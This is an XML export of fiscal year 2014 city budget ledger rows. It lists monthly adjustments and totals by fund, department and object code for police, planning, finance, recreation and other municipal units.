<row _id="12970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15683.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15683.0</total></row>
<row _id="12971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406856.0</object><object_description>OTS STEP GRANT 2014</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-330000</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-330000.0</total></row>
<row _id="12972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-21456.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>42912.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21456.0</total></row>
<row _id="12973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>410290.0</object><object_description>OPC SEA LEVEL RISE ADAPTATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-235000</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-235000.0</total></row>
<row _id="12974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>408720.0</object><object_description>EXPO BUFFER PARK HRP GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-2139850</march><april>0</april><may>0</may><june>0.0</june><total>-2139850.0</total></row>
<row _id="12975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>28000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="12976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>409310.0</object><object_description>AUTO PARK PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-10878.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10878.0</total></row>
<row _id="12977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="12978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-39819</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-39819.0</total></row>
<row _id="12979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-52410</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-52410.0</total></row>
<row _id="12980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-54654</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54654.0</total></row>
<row _id="12981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-3640</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3640.0</total></row>
<row _id="12982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>9267.0</june><total>9267.0</total></row>
<row _id="12983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-8682.0</june><total>-8682.0</total></row>
<row _id="12984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>6225.0</june><total>6225.0</total></row>
<row _id="12985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-16841.0</june><total>-16841.0</total></row>
<row _id="12986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579014.0</object><object_description>DISCRET-SM ARTS PARENTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>30000.0</june><total>30000.0</total></row>
<row _id="12987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570321.0</object><object_description>TRANS TO 01 FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>3700000.0</june><total>3700000.0</total></row>
<row _id="12988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>39579</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39579.0</total></row>
<row _id="12989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="12990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="12991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="12992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5625.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5625.0</total></row>
<row _id="12993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7918.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7918.0</total></row>
<row _id="12994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>647.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>647.0</total></row>
<row _id="12995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>903977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>9618</december><january>-23.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>913572.0</total></row>
<row _id="12996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77538.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77538.0</total></row>
<row _id="12997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15875.0</total></row>
<row _id="12998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11156.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11156.0</total></row>
<row _id="12999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10582.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10582.0</total></row>
<row _id="13000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-484108.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-484108.0</total></row>
<row _id="13001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="13002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>359.0</total></row>
<row _id="13003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>533.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>533.0</total></row>
<row _id="13004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533560.0</object><object_description>CONF / MTGS / TRAVEL-PO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2975.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2975.0</total></row>
<row _id="13005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75931.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75931.0</total></row>
<row _id="13006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="13007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28700.0</total></row>
<row _id="13008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20551.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20551.0</total></row>
<row _id="13009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>100268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>5684</december><january>4056.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110008.0</total></row>
<row _id="13010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3260</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41420.0</total></row>
<row _id="13011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18450.0</total></row>
<row _id="13012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>114000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114000.0</total></row>
<row _id="13013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>637.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>637.0</total></row>
<row _id="13014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="13015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13275.0</july><august>0</august><september>0</september><october>0</october><november>1800</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15075.0</total></row>
<row _id="13016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10455.0</total></row>
<row _id="13017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16600.0</total></row>
